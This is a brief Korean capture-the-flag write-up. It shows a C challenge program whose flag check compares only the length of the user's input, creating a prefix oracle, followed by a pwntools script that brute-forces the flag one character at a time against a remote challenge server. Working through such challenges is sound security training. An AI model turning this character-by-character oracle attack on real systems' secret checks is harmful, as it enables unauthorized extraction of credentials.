본문으로 바로가기

Analysis

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
  FILE *fp;
  int select = 0;
  char flag[30] = "";
  char userinput[30] = "";
 
  setvbuf(stdin,0,2,0);
  setvbuf(stdout,0,2,0);
  setvbuf(stderr,0,2,0);

  memset(flag,0,30);
  memset(userinput,0,30);

  fp = fopen("/home/magic/flag.txt","r");
  fread(flag,30,1,fp);
  fclose(fp);

  puts("Welcome to HACKAINGCAMP!");
  puts("I Will give you a chance for guess the flag");
  puts("1. View SourceCode");
  puts("2. GUESS FLAG     ");
  printf(">> ");
  scanf("%d",&select);
 
  switch(select)
  {
   case 1:
   system("cat magic.c");
   break;
case 2:
   printf("give your message >> ");
   scanf("%30s",userinput);
       
       if(!strncmp(flag,userinput,strlen(userinput)))
    {
  puts("Good!");
  }
   else
  {
puts("NONO...");
  }
   break;
  }
}

2번으로 플래그를 게싱할수있는데, 지금까지 입력한 값과 서버내의 플래그가 같으면 Good! 을 출력한다.

그래서 그냥 Bling SQLi 처럼 반응 보고 한글자씩 때려맞추면 된다.

참 쉽쥬?


Exploit

from pwn import *
import string

index = 0

payload = "HCAMP{"
while True:
   try:
       r = remote("pwnable.shop", 20204)
       r.sendlineafter(">> ","2")
     
       #plus = string.printable
       r.sendlineafter(">> ",payload + string.printable[index])

       response = r.recvline()
 
       if "Good!" in response:  
           print(payload + string.printable[index])
           payload += string.printable[index]
           index = -1
       if "}" in payload:
           break
       index += 1

   except:
     r.close()

이건 솔직히 포너블이 ㅠㅠ...